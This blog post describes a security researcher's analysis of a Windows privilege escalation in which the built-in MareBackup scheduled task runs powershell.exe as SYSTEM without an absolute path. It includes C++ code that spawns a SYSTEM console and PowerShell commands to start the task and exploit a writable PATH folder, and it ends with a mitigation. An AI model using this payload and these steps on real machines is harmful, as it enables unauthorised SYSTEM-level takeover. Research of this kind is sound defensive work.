The built-in “MareBackup” scheduled task is susceptible to a trivial executable search order hijacking, which can be abused by a low-privileged user to gain SYSTEM
privileges whenever a vulnerable folder is prepended to the system’s PATH
environment variable (instead of being appended).
As I was working on a semi-automated research project on an unrelated subject, I generated and collected a lot of data with Process Monitor. So, I decided to have a quick look and applied the basic search filters for DLL search order hijacking, just to see if something would come out, even if it was not my initial objective. This is how I observed the following behavior.
We have an executable named CompatTelRunner.exe
, running as NT AUTHORITY\SYSTEM
, and executing PowerShell, apparently without specifying its absolute path because we can see that it uses the typical executable search order documented here.
The Python PATH
entries are highlighted here because Python was known in the past for inserting folders configured with (default) weak permissions in the system’s PATH
environment variable. This issue has since been addressed in the Python installer, and therefore this behavior wouldn’t be exploitable here.
Besides, contrary to a typical Ghost DLL hijacking, where LoadLibrary
would go through all the PATH
entries because the target file doesn’t exist, here the hijacking would work only if a vulnerable entry was prepended to the list, instead of being appended, because the legitimate powershell.exe
would be found eventually.
Now, assuming that such a vulnerable folder exists, is this behavior really exploitable, and can we trigger it as a low-privileged user? You guessed it, the answer to both of these questions is “yes“. Let me walk you through a quick analysis.
In total, Process Monitor recorded 13 “Process Create” events for powershell.exe.
They are all similar so the one shown below was just picked at random. The “Event” tab shows the following command line being executed. Nothing really interesting there.
powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';
The “Process” tab shows the following command line for the parent process. It also confirms that it runs as NT AUTHORITY\SYSTEM
in session 0
. So, we are sure there is no user impersonation involved here.
"C:\WINDOWS\system32\compattelrunner.exe" -m:appraiser.dll -f:DoScheduledTelemetryRun
The “Stack” tab shows that the CreateProcessW
call originated from a function named PowerShellMatchingPlugin
in acmigration.dll
.
Now, there is a bit of information I already knew, but it was also possible to make an educated guess. The keywords appraiser
and ScheduledTelemetry
put me on the right track immediately. I’ve seen the first one on multiple occasions in a few built-in scheduled tasks, and the second one kind of hints in that direction as well.
We can use PowerShell to quickly enumerate all the scheduled tasks and find the ones with a “command line” action containing the keyword DoScheduledTelemetryRun
. As a side note, this enumeration should be done as an administrator to ensure that all registered tasks are checked, not just the ones visible to low-privileged users.
PS C:\WINDOWS\system32> Get-ScheduledTask | ? { $_.Actions.Arguments -like "*DoScheduledTelemetryRun*" } | select TaskPath,TaskName,Description,State | fl
TaskPath : \Microsoft\Windows\Application Experience\
TaskName : MareBackup
Description : Gathers Win32 application data for App Backup scenario
State : Ready
TaskPath : \Microsoft\Windows\Application Experience\
TaskName : Microsoft Compatibility Appraiser Exp
Description : Collects program telemetry information if opted-in to the Microsoft Customer Experience Improvement Program.
State : Ready
The result shows two candidate scheduled tasks, MareBackup
and Microsoft Compatibility Appraiser Exp
, which are both registered under “Application Experience“.
At this point, we have all the information we need, but just out of curiosity, I opened the file acmigration.dll
, from which the CreateProcessW
originates, in Ghidra, to take a look at the PowerShellMatchingPlugin
function. Unfortunately, Ghidra was not able to reconstruct the initialization of the command line, so I’ll just highlight the CreateProcessW
API call. Apart from the fact that it specifies the creation flag CREATE_NO_WINDOW
, there is nothing special here either.
The last question is “can we trigger or start at least one of these two scheduled tasks as a low-privileged user?“. The first one doesn’t have any trigger registered, and the second one only has one custom trigger. This is not encouraging, but we can try to start them manually using either schtasks.exe
or the PowerShell cmdlet Start-ScheduledTask
.
We get an “access denied” error when attempting to start Microsoft Compatibility Appraiser Exp
, but the other one seems to work. To understand why that is, we should take a look at their DACLs, but there is no easy way to do that within the Task Scheduler GUI. However, since I implemented DACL checks for scheduled tasks in PrivescCheck, I can use that to my advantage.
Note that there is actually an easier way to achieve the same result. We can check the DACL of the XML file containing the scheduled task’s definition.
Whichever method is used, we can see that the BUILTIN\Users
identity has AllAccess
, or FullControl
, over the scheduled task. “So, that means I can modify the scheduled task as a low-privileged user and achieve LPE? That’s an 0-day!“
The result of the icacls
command shows that we have full control over the scheduled task file, but that doesn’t serve any purpose since there is a checksum stored in the registry, and an integrity check is performed by the Schedule
service when the tasks are loaded. Theoretically, the only way to modify a scheduled task is through the Schedule
service using RPC, and all the procedures verify that the client has administrator privileges. The only exception that I’m aware of is the one used for enabling / disabling tasks.
So, no actual vulnerability here, but this does explain why we can start the scheduled task manually without administrator privileges.
One question remains, what about the payload? Well, we don’t really care about preserving the original feature. It’s just a scheduled task for collecting telemetry data after all, it’s not system-critical, so we can execute whatever we want without having to ensure that the PowerShell commands are actually executed. In addition, the Schedule
service will use the default SYSTEM
token, which has SeTcbPrivilege
enabled. Therefore, I opted for my personal favorite: spawning a SYSTEM
console on the user’s desktop (original code here).
HANDLE hToken = NULL, hTokenDup = NULL;
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
LPCWSTR pwszApplication = L"cmd.exe";
DWORD dwSessionId = 1; // Set to the target user's session ID
// (or invoke WTSGetActiveConsoleSessionId() to get the console session ID)
// Error checks were removed for conciseness
OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken);
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityAnonymous, TokenPrimary, &hTokenDup);
SetTokenInformation(hTokenDup, TokenSessionId, &dwSessionId, sizeof(dwSessionId));
si.cb = sizeof(si);
si.wShowWindow = SW_SHOW;
si.lpDesktop = const_cast<wchar_t*>(L"WinSta0\\Default");
CreateProcessAsUserW(hTokenDup, pwszApplication, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hTokenDup);
CloseHandle(hToken);
Finally, below is a list of all the commands you’ll need to check for and exploit this “vulnerability“. The only thing to pay attention to is whether a PATH folder entry with weak permissions is placed before the default Windows PowerShell folder path.
# Check the system PATH
Get-ItemProperty -Path "Registry::HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name "Path" | Select-Object -ExpandProperty Path
# Check whether the scheduled task exists and is enabled
Get-ScheduledTask -TaskName "MareBackup"
# Enable the scheduled task if needed
Enable-ScheduledTask -TaskPath "\Microsoft\Windows\Application Experience" -TaskName "MareBackup"
# Start the scheduled task
Start-ScheduledTask -TaskPath "\Microsoft\Windows\Application Experience" -TaskName "MareBackup"
Note: in the video below, the user is named “Admin”, and is indeed a member of the local “Administrators” group, but everything is done under “medium” integrity since User Account Control (UAC) is enabled, so the PowerShell process doesn’t have administrator privileges.
The term “vulnerability” is obviously not appropriate here because the actual vulnerability lies in the fact that a folder with weak permissions was inserted in the system’s PATH
environment variable. Nonetheless, it is possible to avoid such a behavior by constructing the absolute path of powershell.exe
before calling CreateProcess
, rather than relying on a potentially hijackable search order.
That’s all for this post, it was a rather short one for once. Back to my main project now… 😉